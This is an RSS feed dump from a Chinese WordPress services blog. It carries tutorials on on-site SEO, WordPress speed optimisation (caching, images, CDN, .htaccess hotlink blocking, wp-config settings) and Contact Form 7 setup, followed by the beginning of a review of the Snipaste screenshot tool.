蓝月网络 https://lanyueer.com 专注于WordPress外贸建站,主题插件汉化、配置 Sat, 13 Dec 2025 15:40:57 +0000 zh-CN hourly 1 网站内部SEO优化需要注意:结构、内容、链接 https://lanyueer.com/website-seo-optimization-needs-attention/ Sun, 01 Jul 2018 08:46:25 +0000 https://lanyueer.com/?p=1011 一个网站首先要解决的是它能否让搜索引擎正常抓取,你可以有优质的内容,但如果搜索引擎无法找到,也是徒劳无功。以下…

网站内部SEO优化需要注意:结构、内容、链接,首发于蓝月网络

]]>
一个网站首先要解决的是它能否让搜索引擎正常抓取,你可以有优质的内容,但如果搜索引擎无法找到,也是徒劳无功。以下几个方法有助于更善你的网站被索引:

1、尽量避免Javascript和flash导航。虽然JS和FLASH能把网站做得炫丽漂亮,但目前搜索引擎还是无法顺利的抓取其中的内容,所以我们要避免。

2、目录层次不能太深。网站目录尽量保持在三层以内,尽可能接近根网址。

3、避免网址中的参数字符。也就是让网站尽量生成静态页面或伪静态,不要让网址带上“?id=”这样的动态网址,这样搜索引擎不能友好的抓取,而且有可能会让蜘蛛进入死循环。

4、使用合理的内部链接。只要内容相关,尽量在页面加上其他页面的链接,不要仅依赖于导航,引导蜘蛛深入爬行网站所有页面。

5、建立Sitemap。确保你的网站有个HTML和XML格式的站点地图。

内容-你的文章是否经过合理优化

一旦你的网站结构做好了,下一步要做的就是网站内容的添加,关于内容的优化有以下几个方面:

1、不要将多个关键词放在同一页。比如你有50个关键词需要优化,不能在两三个页面中做完,要把每个关键词分开,分别建立相应的内容,随着关键词的增加,要不断的增加新的页面。

2、拒绝垃圾内容。不要做任何关键词的堆砌,比如TITLE、META、ALT等其他任何作垃圾行为。

3、标题中包含关键词。每个内容页中的标题要包含当前关键词,并合理使用H标签,告诉搜索引擎这个页面的这个关键词是最重要的。

4、内容中包含关键词。不要仅仅依赖于TITLE和文章标题,内容中也应包含关键词,但不要太过了,合理分配,让文章自然。

链接-从其他网站获得肯定

网站内部做好了,我们还要做的是链接建设,使用不同的锚链接,通过优质的外部链接,可以增加网站的可信度,搜索引擎会认为网站应该排名好。以下是几个链接建设的技巧:

1、使用各种外链手段。获得外部链接的方法有很好,我们一个都不要放过,包括:目录、友情链接、文章、博客、社会化书签、论坛……等等非常多。

2、链接的广泛度。要想获得良好稳定的排名,我们还要注意链接的广泛度,不能让外链的来源是同一个地方的,应该来自各种网站、各个领域。

3、链接锚文本要包含关键词。很多初学者可能不知道,经常在链接文本上写自己公司名或是网站名,

当然,如果你这正是你想要有的排名,这没有错。但大部分是想让关键词组有排名,所以我们的链接文本中一定要使用关键词或是包含关键词的短语。

4、锚文本的多样化。不要所有外链都是使用同样的关键词组,这可能让搜索引擎当作SPAM,而惩罚你的网站,使用多个不同的锚文本,这样会让你的链接看起来是自然的。

5、坚持不断。不要以为上面这些工作做完了,你的工作就结束了。SEO是一个持续长期的过程,如果你将上面的工作做完,请像死循环一样重复做下去。

网站内部SEO优化需要注意:结构、内容、链接,首发于蓝月网络

]]>
提升WordPress速度和性能的终极指南 https://lanyueer.com/the-ultimate-guide-to-boost-wordpress-speed-performance/ Sat, 15 Jul 2017 06:40:08 +0000 https://lanyueer.com/?p=988 你想加快你的WordPress网站吗? 快速加载页面可提高用户体验,增加浏览量,并帮助您的WordPress SEO。 在本文中,我们将分享最有用的WordPress速度优化提示,以提高WordPress的性能并加快您的网站。

提升WordPress速度和性能的终极指南,首发于蓝月网络

]]>
你想加快你的WordPress网站吗? 快速加载页面可提高用户体验,增加浏览量,并帮助您的WordPress SEO。 在本文中,我们将分享最有用的WordPress速度优化提示,以提高WordPress的性能并加快您的网站。
The Ultimate Guide to Boost WordPress Speed & Performance

与其他“X最佳WordPress缓存插件”列表或通用“X提示加速WordPress”教程不同,本文是WordPress性能优化的综合指南。

WordPress性能基础

为什么速度对您的WordPress网站很重要?

研究表明,从2000年到2016年,人们的平均注意力范围从12秒下降到了7秒。

这对作为网站所有者的您意味着什么?

您很少有时间向用户展示您的内容,并说服他们留在您的网站上。

一个缓慢的网站意味着用户可能会在您的网站加载之前离开您的网站。

根据涉及亚马逊,谷歌和其他较大网站的StrangeLoop案例研究,页面加载时间延迟1秒可能导致转换损失7%,浏览量减少11%,客户满意度降低16%。

The Ultimate Guide to Boost WordPress Speed & Performance

除此之外,谷歌和其他搜索引擎已经开始通过在搜索结果中惩罚较慢的网站,这意味着较慢的网站流量会降低。

总而言之,如果您想要更多的流量、订阅者和网站收入,那么您必须让您的WordPress网站更快速!

如何检查您的WordPress网站速度?

初学者通常认为,他们在自己的电脑上浏览自己的网站感觉不慢就认为自己的网站OK。 这是一个巨大的错误。

由于您经常访问您自己的网站,Chrome等现代浏览器会将您的网站存储在缓存中,并在您开始输入地址后立即自动预取。 这使您的网站几乎立即就能加载。

但是,第一次访问您的网站的普通用户可没有相同的体验。

事实上,不同地理位置的用户将有完全不同的体验。

这就是为什么我们建议您使用Pingdom这样的工具测试您的网站速度。
The Ultimate Guide to Boost WordPress Speed & Performance

它是一个免费的在线工具,可让您从不同的地点测试您的网站的速度。

运行网站速度测试后,您可能会想知道什么是好的网站速度?

良好的页面加载时间不到2秒。

但是,你能做得越快越好。 这里有几毫秒的改进,加起来可以减少一半或甚至从您的加载时间一整秒。

什么降低了您的WordPress网站速度?

您的速度测试报告可能会有多项改进建议。 但是大多数是技术术语,这对于初学者很难理解。

然而,了解您的网站减缓的速度是提高速度和做出更明智的长期决策的关键。

WordPress网站缓慢的主要原因是:

  • 网络托管 – 当您的虚拟主机服务器配置不正确时,可能会影响您的网站速度。
  • WordPress配置 – 如果您的WordPress网站不缓存页面,那么它将使您的服务器过载,从而导致您的网站缓慢或完全崩溃。
  • 页面大小 – 主要是未针对网页进行优化的图像。
  • 坏插件 – 如果您使用编码不好的插件,那么可能会使您的网站明显减慢。
  • 外部脚本 – 外部脚本(如广告,字体加载程序等)也可能对您的网站性能产生巨大影响。

现在,您知道WordPress网站为什么运行缓慢了,让我们来看看如何加快您的WordPress网站的速度。

良好的WordPress主机的重要性

您的WordPress主机服务在网站性能中起着重要作用。 一个很好的共享托管服务提供商,如BlueHost或Siteground采取额外的措施来优化您的网站的性能。

但是,在共享主机上,您可能与许多其他客户共享服务器资源。 这意味着如果您的邻居网站获得了大量的流量,那么它可能会影响整个服务器的性能,这反而会降低您的网站的速度。

另一方面,使用受管理的WordPress主机服务可以为您提供最优化的服务器配置来运行WordPress。 管理的WordPress托管公司还提供自动备份,自动WordPress更新和更高级的安全配置来保护您的网站。

简单的步骤加快WordPress(无编码)

我们知道,对您的网站配置进行更改对初学者来说可能是一个可怕的想法,特别是如果您不是技术怪人。

但不用担心,我们将向您展示如何加快您的WordPress网站,只需点击几下(无需编码)。

安装WordPress缓存插件

WordPress的页面是“动态的”。这意味着每次有人访问您网站上的文章或页面时,它们都会立即建立。 要创建页面,WordPress必须运行一个进程来查找所需的信息,将其放在一起,然后将其显示给用户。

这个过程涉及很多步骤,当您有多个人一次访问您的网站时,可能会减慢您的网站的速度。

这就是为什么我们建议每个WordPress网站使用缓存插件。 缓存可以使您的WordPress网站的速度从2x到5倍。

以下是它的工作原理:每次您的缓存插件不会遍历整个页面生成过程,而是在第一次加载之后创建页面的副本,然后为每个后续用户提供该缓存版本。
The Ultimate Guide to Boost WordPress Speed & Performance

如上图所示,当用户访问您使用PHP构建的WordPress站点时,您的服务器将从MySQL数据库和PHP文件中检索信息,然后将其全部放入一个被提供的HTML内容中给用户。这是一个漫长的过程,但是当您使用缓存时,您可以跳过很多过程。

有很多缓存插件可用于WordPress,但我们建议使用WP Rocket缓存插件。

注意:如果您使用受管理的WordPress托管服务提供商,那么您不需要缓存插件,因为它们会为您处理。

优化图像速度


The Ultimate Guide to Boost WordPress Speed & Performance
图片为您的内容带来生命,并有助于提高参与度。 研究人员发现,使用彩色的视觉效果,使80%人更容易阅读你的内容。

但是,如果您的图像未经过优化,可能会坏处多于好处。 事实上,未优化的图像是我们在初学者网站上看到的最常见的速度问题之一。

在您直接从手机或相机上传照片之前,我们建议您使用照片编辑软件优化网页的图像。

这些照片的原始格式的文件大小是很大的。 但是,根据您在编辑软件中选择的图像文件格式压缩 ,您可以将图像尺寸降低5倍之多。

一般情况下,我们只使用两种图像格式:JPEG和PNG。

现在你可能会想:有什么区别?

那么PNG图像格式是未压缩的。 当您压缩图像时,它会丢失一些信息,因此未压缩的图像将以更高的质量提供更多的细节。 缺点是它是一个更大的文件,所以加载需要更长的时间。

另一方面, JPEG是一种压缩文件格式,可以稍微降低图像质量,但尺寸明显更小。

那么我们如何决定选择哪种图像格式?

  • 如果我们的照片或图像有很多不同的颜色,那么我们使用JPEG。
  • 如果它是一个更简单的图像,或者我们需要一个透明的图像,那么我们使用PNG。

我们的大部分图像是JPEG。

以下是我们可以用于上面使用的StrangeLoop图像的文件大小和不同压缩工具的比较图。

The Ultimate Guide to Boost WordPress Speed & Performance

您可以在图表中看到,您使用的图像格式可能会对您的网站性能产生巨大的影响。

WordPress性能优化最佳实践

安装缓存插件并优化图像后,您会注意到您的网站将开始加载更快。

但是,如果您真的希望尽可能保持网站的速度,则需要使用下面列出的最佳做法。

这些提示不是太技术性,所以您不需要知道任何代码就可以实现它们。

保持您的WordPress网站更新


The Ultimate Guide to Boost WordPress Speed & Performance
作为一个维护良好的开源项目,WordPress经常更新。 每个更新不仅将提供新功能,还可以修复安全问题和错误。

作为网站所有者,您有责任将WordPress网站更新为最新版本。 不这样做可能会使您的网站变得缓慢而不可靠,并使您易受安全威胁的影响。

在首页和归档上使用摘录


The Ultimate Guide to Boost WordPress Speed & Performance
默认情况下,WordPress显示您的主页和存档的每篇文章的完整内容。 这意味着您的主页,类别,标签和其他归档页面都将加载较慢。

在这些页面上显示完整文章的另一个缺点是用户不需要访问实际的文章。 这可能减少您的浏览量,以及用户在您的网站上花费的时间。

为了加快存档页面的加载时间,您可以将您的站点设置为显示摘录,而不是完整的内容。

您可以导航到设置»阅读并选择“对于Feed中的每篇文章,显示:摘要”而不是“全文”。
The Ultimate Guide to Boost WordPress Speed & Performance

页面的评论分页


The Ultimate Guide to Boost WordPress Speed & Performance
在你的博客文章上获得很多评论 ? 恭喜! 这是受众群体的重要指标。

但缺点是,加载所有这些评论可能会影响您的网站的速度。

WordPress提供了一个内置的解决方案。 只需转到“设置”»“讨论”,然后选中“分页显示评论”选项旁边的框。

使用CDN

记住我们上面提到的不同地理位置的用户在您的网站上可能会遇到不同的加载时间?

这是因为您的网站托管服务器的位置可能会影响您的网站速度。 例如,假设您的虚拟主机公司的服务器在美国。 同样在美国的访客通常会比中国的访客看到的加载时间更快。

使用CDN或内容交付网络可以帮助您加快所有访问者的加载时间。

CDN是由世界各地的服务器组成的网络。 每个服务器将存储用于组成网站的“静态”文件。 静态文件是不变的文件,如图像,CSS和JavaScript,与上述“动态”的WordPress页面不同。

当您使用CDN时,每次用户访问您的网站时,他们将从最接近他们的服务器提供这些静态文件。 自己的网络托管服务器也会更快,因为CDN正在做很多工作。

您可以在此信息图中看到它的工作原理。
The Ultimate Guide to Boost WordPress Speed & Performance

不要直接将视频直接上传到WordPress

可以直接将视频上传到您的WordPress网站,并会自动将其显示在HTML5播放器中…

但建议你不要这样做!

托管视频会消耗您带宽。 您的网络托管公司可能会收取超额费用,即使您的计划包含“无限”带宽,他们也有可能完全关闭您的网站。

托管视频还大大增加备份大小,并使您难以从备份还原WordPress 。

相反,您应该使用像Youku,YouTube,Vimeo,DailyMotion等视频托管服务,让他们妥善处理。 他们有带宽!

WordPress具有内置的视频嵌入功能,因此您可以将视频的网址直接复制并粘贴到您的文章中,并自动嵌入。

使用速度优化的主题


The Ultimate Guide to Boost WordPress Speed & Performance
为您的网站选择WordPress主题时 ,重要的是要特别注意速度优化。 一些漂亮而令人印象深刻的主题实际上编码不好,可能会降低网站的速度。

通常使用更简单的主题和使用高质量插件来获得所需的功能通常更好,而不是使用复杂的布局、动画和其他不必要的功能来选择笨重的主题。

高级WordPress主题店,如StudioPress , Themify和Array主题提供了经过良好编码和优化速度的主题。 您还可以查看我们的文章, 选择完美的WordPress主题 ,寻求寻找的建议。

使用更快的滑块插件


The Ultimate Guide to Boost WordPress Speed & Performance
滑块是另一种常见的网页设计元素,可能使您的网站变慢。

即使您的图像都按照上述方式进行了优化,编码不佳的滑块插件将意味着你所有的工作都是白费。

我们比较了最好的WordPress滑块插件的性能和功能,而Soliloquy是迄今为止最快的。

这与其他流行的滑块插件进行比较。

The Ultimate Guide to Boost WordPress Speed & Performance

使用更快的图库插件

如果您有摄影网站或作品展示 ,那么您可能需要使用图片库插件来显示您的照片。

真正重要的是,您使用针对速度进行了优化的WordPress库插件。

我们建议使用Envira画廊 ,这是市场上最好的WordPress画廊插件 。 它允许您创建闪电般快速加载的美丽图像画廊。

我们测试了其速度与其他几个流行的画廊插件相比,发现Envira Galley几乎是两倍:
The Ultimate Guide to Boost WordPress Speed & Performance

微调WordPress速度(高级)

通过使用上面提到的WordPress优化最佳做法和基本速度提示,您应该看到网站加载时间有很大的改进。

如果您想要获得最快的速度,您需要再进行一些更改。

以下提示有一点技术性,有些要求您修改您的站点文件或对PHP有基本的了解。 您需要确保先备份您的网站 ,以防万一。

如何通过BackupBuddy保持您的WordPress内容安全

您是否正在为您的WordPress网站寻找可靠的备份插件? 无论您是运行一个小型个人博客还是商业网站,我们强烈建议您为WordPress网站设置自动备份解决方案。 在本文中,我们将向您展示如何使用BackupBuddy保护您的WordPress内容安全。

将长文章分页


The Ultimate Guide to Boost WordPress Speed & Performance
读者倾向于喜欢更长更深入的博客文章。 更长的文章在搜索引擎中排名更高。

但是,如果您发布具有大量图像的长文章,可能会延长您的加载时间。

相反,请考虑将更长的文章分成多个页面。

WordPress附带内置功能。 只需在文章中添加<!––nextpage––>标签即可将其拆分成下一页。 如果你想将文章分割到下一页,那么再做一次。

减少外部HTTP请求


The Ultimate Guide to Boost WordPress Speed & Performance
许多WordPress插件和主题从其他网站加载各种文件。 这些文件可以包括来自Google,Facebook,分析服务等外部资源的脚本、样式表和图像。

可以使用其中的几个。 许多文件经过优化以尽可能快地加载,所以它比在自己的网站上托管更快。

但是,如果您的插件提出了很多这样的请求,那么可能会使您的网站明显减慢。

您可以通过禁用脚本和样式或将它们合并到一个文件中来减少所有这些外部HTTP请求。

减少数据库调用


The Ultimate Guide to Boost WordPress Speed & Performance
注意:这一步更有技术性,需要PHP和WordPress模板文件的基础知识。

不幸的是,有很多WordPress的主题编码很差。 它们忽略了WordPress的标准实践,最终导致直接的数据库调用,或者对数据库的不必要的请求。

即使是编码良好的主题也可能使用代码使数据库调用只是为了获取博客的基本信息。

在这个例子中,每次看到<?php ,这就是新数据库调用的开始:

  1. <html xmlns="http://www.w3.org/1999/xhtml" dir="<?php language_attributes(); ?>"><head profile="http://gmpg.org/xfn/11">
  2. <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?> 
  3. charset=<?php bloginfo('charset'); ?>" />

你不能怪责主题开发人员。 他们根本就没有其他方法来知道你的网站是什么语言的。

但是,如果您使用子主题自定义您的站点,则可以使用特定信息替换这些数据库调用,以减少所有这些数据库调用。

  1. <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
  2. <head profile="http://gmpg.org/xfn/11">
  3. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

检查您的父主题,这样的实例可以轻松地替换为静态信息。

优化WordPress数据库


The Ultimate Guide to Boost WordPress Speed & Performance
使用WordPress一段时间后,您的数据库将有大量的信息,您可能不再需要了。 为了提高性能,您可以优化数据库以摆脱所有不必要的信息。

这可以通过WP-Sweep插件轻松管理。 它可以通过删除垃圾邮件、修订版本、未使用的标签等来清除WordPress数据库。它还可以通过点击即可优化数据库的结构。

限制发布修订


The Ultimate Guide to Boost WordPress Speed & Performance
发布修订会占用您WordPress数据库中的空间。 有些用户认为,修订版也可以影响由插件运行的一些数据库查询。 如果插件没有特别排除发布的修订版本,可能会不必要地搜索您的网站,从而减慢您的网站的速度。

您可以轻松地限制WordPress为每篇文章保留的修订数量。 只需将这一行代码添加到你的wp-config.php文件中。

  1. define( 'WP_POST_REVISIONS', 4 );

此代码将限制WordPress仅保存每个帖子或页面的最后4个版本,并自动丢弃较旧的修订版本。

防止图片被盗链


The Ultimate Guide to Boost WordPress Speed & Performance
如果您在WordPress网站上创建优质内容,那么可悲的事实是,它可能会迟早被盗。

一种方式是其他网站直接从您网站上的网址上传图片,而不是将其上传到自己的服务器。 实际上,他们正在窃取您的网络托管带宽,并且您没有获得任何流量来显示。

只需将此代码添加到.htaccess文件中即可阻止WordPress站点的图像盗链。

  1. #disable hotlinking of images with forbidden or custom image option
  2. RewriteEngine on
  3. RewriteCond %{HTTP_REFERER} !^$
  4. RewriteCond %{HTTP_REFERER} !^http(s)?://(www\.)?lanyueer.com [NC]
  5. RewriteCond %{HTTP_REFERER} !^http(s)?://(www\.)?google.com [NC]
  6. RewriteRule \.(jpg|jpeg|png|gif)$ – [NC,F,L]

注意:不要忘记使用自己的域替换lanyueer.com。

服务器优化


The Ultimate Guide to Boost WordPress Speed & Performance
如果你使用的是 VPS或服务器,可以做如下优化:

  • MySQL 设置 MySQL Query Cache,可以保存保存查询结果,同样的查询不再从数据库检索,对速度有很大的提升。
  • PHP 开启 OPCache:把经过编译后的 PHP 代码缓存到共享内存中,并在用户访问的时候直接调用从而起到高效的加速作用。
  • 安装 MemcachedPHP Memcached 扩展:使用 Memcached 来缓存 WordPress 数据。

提升WordPress速度和性能的终极指南,首发于蓝月网络

]]>
控制Contact Form 7 访问权限 https://lanyueer.com/control-contact-form-7-access/ Wed, 12 Jul 2017 14:16:39 +0000 https://lanyueer.com/?p=985 默认设置下,Contact Form 7 允许所有用户访问管理面板,而不仅仅是管理员。但是对用有些用户来说,这是不爽的。特别是自定义了Contact Form 7的相关设置,实际上有些设置具有技术性。

控制Contact Form 7 访问权限,首发于蓝月网络

]]>
本文是《Contact Form 7教程》系列教程的第 4 部分,该系列共包含以下4个部分:

默认设置下,Contact Form 7 允许所有用户访问管理面板,而不仅仅是管理员。但是对用有些用户来说,这是不爽的。特别是自定义了Contact Form 7的相关设置,实际上有些设置具有技术性。然而你完全控制这个访问权限,而只允许管理员访问和编辑。

例如, 你想只允许管理员访问和编辑,你只需要修改 wp-config.php文件,打开插入:

  1. define( 'WPCF7_ADMIN_READ_CAPABILITY', 'manage_options' ); 
  2. define( 'WPCF7_ADMIN_READ_WRITE_CAPABILITY', 'manage_options' );

WPCF7_ADMIN_READ_CAPABILITY 控制最小访问管理面板的权限。而 WPCF7_ADMIN_READ_WRITE_CAPABILITY 最小编辑权限. 显而易见WPCF7_ADMIN_READ_WRITE_CAPABILITYWPCF7_ADMIN_READ_CAPABILITY更严格, 没有管理员权限你是不能访问的.

manage_options是控制管理员访问的权限. 因此设置manage_optionsWPCF7_ADMIN_READ_CAPABILITYWPCF7_ADMIN_READ_WRITE_CAPABILITY 只允许 administrator 访问和编辑权限.

控制Contact Form 7 访问权限,首发于蓝月网络

]]>
Contact Form 7基础教程之语法结构 https://lanyueer.com/contact-form-7-syntax-structure/ Wed, 12 Jul 2017 13:59:02 +0000 https://lanyueer.com/?p=981 Contact Form 7 允许你编辑联系表单模版和邮件模版(邮件头部和邮件正文),也就是说在中括号里面的结构是可以编辑的。

Contact Form 7基础教程之语法结构,首发于蓝月网络

]]>
本文是《Contact Form 7教程》系列教程的第 3 部分,该系列共包含以下4个部分:

Contact Form 7 允许你编辑联系表单模版和邮件模版(邮件头部和邮件正文),也就是说在中括号里面的结构是可以编辑的。

表单标签语法

在你的表单标签将会出现下面的形式:

form tag example

Type 是最重要的元素,不能修改,其告诉contact form 7如何解析表单。例如text,就是文本输入框,而select是下拉选择框。

Name 是用来区分不同的表单元素,是必填选项,不能去掉的,但是可以在不同的表单出现相同的名字,不能在同一表单出现相同的名字.

Options 用来控制表单的外观,可选的。你可以通过ID和class来控制,然后在样式表内写css代码.

一般情况下, values 用来表示默认值。是可选的。

 

邮件标签语法

这个标签是非常简单的,对应表单标签,不过你只需要用中括号括起表单的名字即可获取表单的内容。

mail tag example

Contact Form 7基础教程之语法结构,首发于蓝月网络

]]>
Contact Form 7高级应用教程 https://lanyueer.com/contact-form-7-advanced-application-tutorial/ Wed, 12 Jul 2017 13:50:43 +0000 https://lanyueer.com/?p=978 WordPress联系表单插件 – Contact Form 7 是一款简单易用扩展性灵活的表单插件,可以自定义各式各样不同类型的表单功能,而且支持自定义接受邮件,Ajax提交和 jQuery表单插件支持.可结合Akismet过滤垃圾邮件

Contact Form 7高级应用教程,首发于蓝月网络

]]>
本文是《Contact Form 7教程》系列教程的第 2 部分,该系列共包含以下4个部分:

WordPress联系表单插件 – Contact Form 7 是一款简单易用扩展性灵活的表单插件,可以自定义各式各样不同类型的表单功能,而且支持自定义接受邮件,Ajax提交和 jQuery表单插件支持.可结合Akismet过滤垃圾邮件,同时也支持CAPTCHA反垃圾邮件,表单域元素支持各种最常见的:单选框、复选框、文本框、下拉菜单、按钮、文件上传等多种表单域.

Contact Form 7 除了特有的联系表单扩展功能外,还有更多高级的特色功能应用,这里为大家一一说明。

1,邮件发送接收功能

当读者填写好信息点击提交后,你就可以收到一封邮件,我们在消息正文中输入如下代码,就可以显示相应信息:

  1. 读者名字:[your-name]
  2. 电子邮件:[your-email]
  3. 来信主题: [your-subject]
  4. 备注信息:[your-message]

下面是如何实现收邮件:
首先,你要保证你的博客所在虚拟主机支持mail()函数,不支持的请安装WP SMTP插件。

WordPress SMTP发送邮件插件:WP SMTP

对于一个网站而言,发送邮件的功能是必不可少的,现在的主机一般都支持发送邮件,但是不同的主机由于函数限制或者某些其他原因,可能造成没办法正常发送邮件。这时候,我们可能就要借助第三方SMTP发送邮件。


在收件人中填写好收件人的邮箱,这里填我们自己的就行。
还要添加好寄件人admin@admin.com,注意,在使用WP SMTP插件辅助发信的朋友尖括号里面和外面都要写WP SMTP中配置的邮箱,不然无法发信。
这样你就可以收到按你的格式的邮件了。

紧接着下面分别是邮件2
可以设置多个收件箱,比如还需要给读者发送感谢信之类的

紧接着下面分别是消息
可以自定义显示提示消息,一般不作修改,随意.
紧接着下面分别是附加设定
附加设定可以添加附加的设定,比如我们想要提交后跳转到指定页面,可以输入如下内容:

  1. on_sent_ok: "location = 'http://lanyueer.com/';"

2,什么是Cc和Bcc

CC 英文全称是 Carbon Copy(抄送);BCC英文全称是 Blind CarbonCopy(暗抄送)。 两者的区别在于在BCC栏中的收件人可以看到所有的收件人名(TO,CC,BCC),而在TO 和CC栏中的收件人看不到BBC的收件人名。

3,Contact Form 7如何添加抄送和暗送

在 邮件栏 – 另外的标头( Additional headers )下填写如下格式代码即可

  1. Cc:test001@waisir.com
  2. Bcc:test002@waisir.com

4,Contact Form CheckBox多选标签如何将选择框放在后面

添加label_first 这个tag即可
选框在前:

  1. [checkbox your-cb “Option 1” “Option 2” “Option 3]

选框在后:

  1. [checkbox your-cb label_first “Option 1” “Option 2” “Option 3]

5,如何CheckBox多选标签竖着排列

在主题CSS层叠样式表中添加如下代码即可

span.wpcf7-list-item { display: block; }
  1. 6,Contact Form如何调整提示信息栏的位置

当点击提交后,默认情况下在表单最下方会看到恭喜,提交成功类似文字.
我们可以随意改变提示信息的位置,使用[response]标签即可,如:

  1. [response]
  2. Your Name (required)
  3. [text* your-name]
  4. Subject
  5. [text your-subject]
  6. Your Message
  7. [textarea your-message]
  8. [response]
  9. [submit "Send"]

7,Contact Form解决关于SEO邮件暴露问题

如,你需要一个下拉框让读者选择给谁发送邮件,不如可以选择(站长,销售员,客服),一般情况下,我们这样写就行

  1. [select your-recipient “ceo@example.com”
  2. “sales@example.com”
  3. “support@example.com”]

再将自定义的[your-recipient]字段填写到收件人即可.这样就可以将邮件发送到选择的邮箱中
毋庸置疑,这样会暴露邮箱地址, 而带来垃圾邮件,而且对于用户来说也不方便.
做如下处理即可

  1. [select your-recipient "CEO|ceo@example.com"
  2. "Sales|sales@example.com"
  3. "Support|support@example.com"]

相当于为每个邮件地址设置了一个用于显示的别名

8,Contact Form如何返回表单所在POST的url和文章名称/用户IP等参数

通过引用以下这些tag就可以实现了

  1. [_remote_ip]访者IP
  2. [_url]返回页面url
  3. [_date]返回日期
  4. [_time]返回时间
  5. [_post_id]返回postID
  6. [_post_title]返回文章名称
  7. [_post_url]返回文章URL
  8. [_post_author]返回文章作者
  9. [_post_author_email]返回文章作者邮件

9,Contact Form如何让用户上传附件并发送附件

和添加其他文本域便签一样,添加一个[file]标签,如:

  1. [file file-torrent limit:1000000 filetypes:torrent]

然后在邮件栏-附件下填写[file-torrent]即可
有多个附件时并列填写即可[file-torrent1][file-torrent2]

10,怎么将contact form 7直接插入到主题中

需要注意的是不能用短代码,用do_shortcode()函数调用:

  1. <?php echo do_shortcode( '[contact-form-7 id="1234" title="Contact form 1"]' ); ?>

11,Contact Form验证码CAPTCHA无法输入,这个应该在火狐下才会出现,应该的位置没放正确

这是正确的写法

  1. [captchac your-captcha]
  2. <label>Enter the code: [captchar your-captcha]</label>

这是不好的写好

  1. <label>[captchac your-captcha]
  2. Enter the code: [captchar your-captcha]</label>

12, 更多 Contact Form 7 参数:

提交询盘时间:[_date] [_time]

  1. 客户访问IP:<a href=”http://www.ip138.com/ips138.asp?ip=[_remote_ip]”>[_remote_ip]</a> (点击打开可看到ip所属国家)
  2. 客户访问产品:[_url]
  3. 客户访问日期:[_date]
  4. 客户访问者有没有facebook:<a href=”https://www.facebook.com/search/top/?q=[your-email]”>[your-email]</a>

Contact Form 7高级应用教程,首发于蓝月网络

]]>
Contact Form 7基本使用教程 https://lanyueer.com/contact-table-7-basic-usage-tutorial/ Wed, 12 Jul 2017 13:33:00 +0000 https://lanyueer.com/?p=975 WordPress联系表单插件 – Contact Form 7 是一款简单易用扩展性灵活的表单插件,可以自定义各式各样不同类型的表单功能,表单域元素支持各种最常见的:单选框、复选框、文本框、下拉菜单、按钮、文件上传等多种表单域。

Contact Form 7基本使用教程,首发于蓝月网络

]]>
本文是《Contact Form 7教程》系列教程的第 1 部分,该系列共包含以下4个部分:

WordPress联系表单插件 – Contact Form 7 是一款简单易用扩展性灵活的表单插件,可以自定义各式各样不同类型的表单功能,表单域元素支持各种最常见的:单选框、复选框、文本框、下拉菜单、按钮、文件上传等多种表单域。
它的作用等同于WordPress留言板插件。

使用Contact Form 7生成表单基本步骤:

1,下载和安装 Contact Form 7

下载wordpress表单插件contact-form,在网站后台点击安装插件进入表单插件的安装。

2,新建联系表单

安装启用Contact Form 7插件后,在后台左侧功能菜单,底部会多出一个“Contact”项,这里就是Contact Form 7设置区了,点击进入,找到“添加新表单”按钮链接,点击可以新建一个联系表单;

3,设置联系表单

设置联系表单,包括设置如下内容:

  • 表单元素设置:包括:姓名、邮箱、标题、详细内容和表单提交按钮,可以通过旁边的生成标签下拉框继续添加自己需要的其他表单元素,比如文件上传按钮、验证码等。
  • 收件人、邮件内容等信息设置:在表单元素的下方,我们可以对收件人、发送人、主题以及邮件主题内容等一系列信息进行设置。
  • 发送邮件错误时的提示信息:在 Message 一栏,我们可以设置邮件发送时的错误提示信息。
  • 发送邮件成功后的跳转页面:在 Additional Settings 一栏,我们可以设置邮件发送成功之后的附加信息.

使用香港免备案空间建网站的朋友,如果遇到使用 Contact Form 7 无法正确收到邮件的情况,可以配合 WP Mail SMTP 插件一起使用。

wordpress表单插件contact-form及使用方法

4,将联系表单放置到页面中

在 Contact Form 7 插件设置好之后,可以使用下面的代码去调用表单,将这段代码放到需要显示表单的页面即可,表单名必须是你自己设置的表单的名称。默认情况下wordpress表单插件只适用于page页面。

  1. [contact-form 1 "表单名"]

以上是wordpress制作表单提交的表单插件contact-form及使用方法,如果你在自己建网站过程中,不想使用插件,也可以使用代码的方式来制作网站订单提交功能。

Contact Form 7基本使用教程,首发于蓝月网络

]]>
Snipaste 屏幕截图软件超级利器 – 花3年精心打造的极致截图贴图/编辑/标注工具 https://lanyueer.com/snipaste/ Tue, 04 Jul 2017 14:46:50 +0000 https://lanyueer.com/?p=971 Snipaste 是一款开发了三年精心打磨出来的、简单易用却又强大到让人惊叹的免费屏幕截图软件!Snipast…

Snipaste 屏幕截图软件超级利器 – 花3年精心打造的极致截图贴图/编辑/标注工具,首发于蓝月网络

]]>
Snipaste 是一款开发了三年精心打磨出来的、简单易用却又强大到让人惊叹的免费屏幕截图软件!Snipaste 名字拆分开来是「截图+贴图」的意思,它并不仅仅是个普通的截屏软件那么简单。

在功能上Snipaste 比网上大多数收费和截图工具都要细腻一些,作者对产品的极致追求简直令人佩服,而它还偏偏还是款免费的软件,干净安全、没广告没捆绑。如果你是编辑、程序员、设计师、产品经理或经常需要截屏标注图片等工作,那么使用过 Snipaste 之后你一定会对它赞赏有加……

Snipaste – 可以提高你工作效率的截图软件

Snipaste 完全免费,无任何功能限制。目前虽然仅支持Windows 10 、Win8/7 等系统,但作者明确表示接着将会推出 Snipaste for Mac 和 Linux 的版本,相信全平台制霸后的 Snipaste 一定会成为很多高端用户的截图首选。

Snipaste 截图

这款截图工具的核心用法很简单,启动软件后,按下键盘 F1 键开始截图,按下 F2 键获取截图内容。但在此背后却蕴含了非常强大丰富的功能,很多网友使用之后纷纷表示已经可以淘汰QQ截图、Jing、FastStone、Snagit、PicPick 等工具了,下面我们一起来看看 Snipaste 相比同类软件到底有哪些牛逼之处吧。

强大、细腻、精确、高效的截图功能

Snipaste 的屏幕截图功能非常细腻好用,除了可以像素级精确地移动和控制截图区域 (截图框) 之外,它也能智能检测出界面元素 (譬如一个按钮或一个输入框) 的区域边界,实现点击自动扑捉。另外也能支持窗口阴影截图。

智能截图:自动检测界面元素边界

